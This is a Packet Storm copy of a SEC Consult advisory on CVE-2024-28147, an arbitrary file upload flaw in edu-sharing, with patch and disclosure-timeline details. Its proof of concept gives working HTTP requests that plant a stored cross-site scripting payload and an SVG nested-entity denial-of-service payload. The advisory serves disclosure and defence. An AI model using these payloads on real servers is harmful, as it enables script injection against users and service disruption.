what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Edu-Sharing Arbitrary File Upload

Edu-Sharing Arbitrary File Upload
Posted Jun 24, 2024
Authored by Kai Zimmermann | Site sec-consult.com

Edu-Sharing suffers from an arbitrary file upload vulnerability. Versions below 8.0.8-RC2, 8.1.4-RC0, and 9.0.0-RC19 are affected.

tags | exploit, arbitrary, file upload
advisories | CVE-2024-28147
SHA-256 | c90a369f9e92e190de24d8035bc4ae4e56c58d29c471e9653ffa0e568fcee57e

Edu-Sharing Arbitrary File Upload

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20240620-0 >
=======================================================================
title: Arbitrary File Upload
product: edu-sharing (metaVentis GmbH)
vulnerable versions: <8.0.8-RC2, <8.1.4-RC0, <9.0.0-RC19
fixed versions: >=8.0.8-RC2, >=8.1.4-RC0, >=9.0.0-RC19
CVE number: CVE-2024-28147
impact: high
homepage: https://edu-sharing.com
found: 2024-04-04
by: Kai Zimmermann (Office Frankfurt)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Eviden business
Europe | Asia

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"edu-sharing software enables you to network your learning platforms and other
educational software. Share learning content, metadata and tools - make them
available in an educational cloud and let your users use them in all connected
systems."

Source: https://edu-sharing.com


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.


Vulnerability overview/description:
-----------------------------------
1) Arbitrary File Upload (CVE-2024-28147)
An authenticated user can upload arbitrary files in the upload function for
collection preview images. An attacker may upload an HTML file that includes
malicious JavaScript code which will be executed if a user visits the direct
URL of the collection preview image (Stored Cross Site Scripting). It is also
possible to upload SVG files that include nested XML entities. Those are parsed
when a user visits the direct URL of the collection preview image, which may be
utilized for a Denial of Service attack.


Proof of concept:
-----------------
1) Arbitrary File Upload (CVE-2024-28147)
An authenticated user can update the preview image of an existing collection
by sending the following request:

--------------------------------------------------------------------------------
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fpng HTTP/1.1
Host: $SERVER
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID
Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885
Content-Length: 288

-----------------------------159605426213527963452762824885
Content-Disposition: form-data; name="file";

‰PNG

[...]
-----------------------------159605426213527963452762824885--
--------------------------------------------------------------------------------

The URL parameter "mimetype" can be modified to match any uploaded file. The
value is directly used in the server's "Content-Type" header.
Both, the Content-Type request header and the filename parameter in the
Content-Disposition request header do not need to be included in the data
boundary inside the request in order to be sent successfully and can therefore
be removed.
The preview image can then be accessed by visiting the following URL:
https://$SERVER/edu-sharing/preview?nodeId=$COLLECTIONID


a. Stored Cross Site Scripting (HTML Upload)
The initial request can be modified to include an HTML file, while keeping
the magic bytes of a PNG image file. The "mimetype" parameter is changed to
"text/html":

--------------------------------------------------------------------------------
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=text/html HTTP/1.1
Host: $SERVER
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID
Content-Type: multipart/form-data; boundary=---------------------------159605426213527963452762824885
Content-Length: 288

-----------------------------159605426213527963452762824885
Content-Disposition: form-data; name="file";

‰PNG

<!DOCTYPE html>
<html>
<body>
<h1>Test</h1>
<script>alert(window.location)</script>
</body>
</html>
-----------------------------159605426213527963452762824885--
--------------------------------------------------------------------------------

Visiting the preview URL as seen in figure 1 below shows that the JavaScript
code is executed:
[01_stored_xss.png]


b. Denial of Service (SVG Upload)
The initial request can be modified to upload an SVG file containing
nested XML entities. The "mimetype" parameter is changed to "image%2Fsvg":

--------------------------------------------------------------------------------
POST /edu-sharing/rest/collection/v1/collections/-home-/$COLLECTIONID/icon?mimetype=image%2Fsvg HTTP/1.1
Host: $SERVER
Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID
Content-Type: multipart/form-data; boundary=---------------------------29539943986372261721095197803
Content-Length: 581

-----------------------------29539943986372261721095197803
Content-Disposition: form-data; name="file";

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY bar "Text "><!ENTITY t1
"&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;&bar;"><!ENTITY t2 "&t1;&t1;&t1;&t1;">]>
<svg xmlns="http://www.w3.org/2000/svg">
<data>&t2;</data>
</svg>

-----------------------------29539943986372261721095197803--
--------------------------------------------------------------------------------

Visiting the preview URL as seen in figure 2 below shows that the XML code is
parsed:
[02_denial_of_service]


Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 9.0 (pre-release)

The vendor confirmed that previous versions (8.0 and 8.1) are affected as well.


Vendor contact timeline:
------------------------
2024-04-10: Contacting vendor through security@edu-sharing.com
2024-04-11: Vendor replied and confirmed security contact.
Advisory information has been sent to vendor.
2024-04-12: Vendor confirmed receiving the advisory and is now trying to
reproduce the described behavior.
2024-05-03: Reminder sent to security@edu-sharing.com, asking for an update on
fixing the vulnerability.
2024-05-07: Vendor provides affected versions. Fixes have already been implemented
and published. Vendor is requesting to wait with the public advisory
release in order to allow affected customers to perform the next rollout.
2024-05-07: Vendor provides fixed versions.
Public advisory release scheduled for 2024-06-04.
2024-05-15: Public advisory release postponed to 2024-06-20.
2024-06-20: Coordinated release of advisory.


Solution:
---------
The repository base version in use can be identified in the Admin-Tools.
The vendor provides a patch for the affected versions:
* Version 8.0: Update repository version to "8.0.8-RC2" or later
* Version 8.1: Update repository version to "8.1.4-RC0" or later
* Version 9.0: Update repository version to "9.0.0-RC19" or later


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Kai Zimmermann / 2024
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    13 Files
  • 27
    Jun 27th
    42 Files
  • 28
    Jun 28th
    9 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close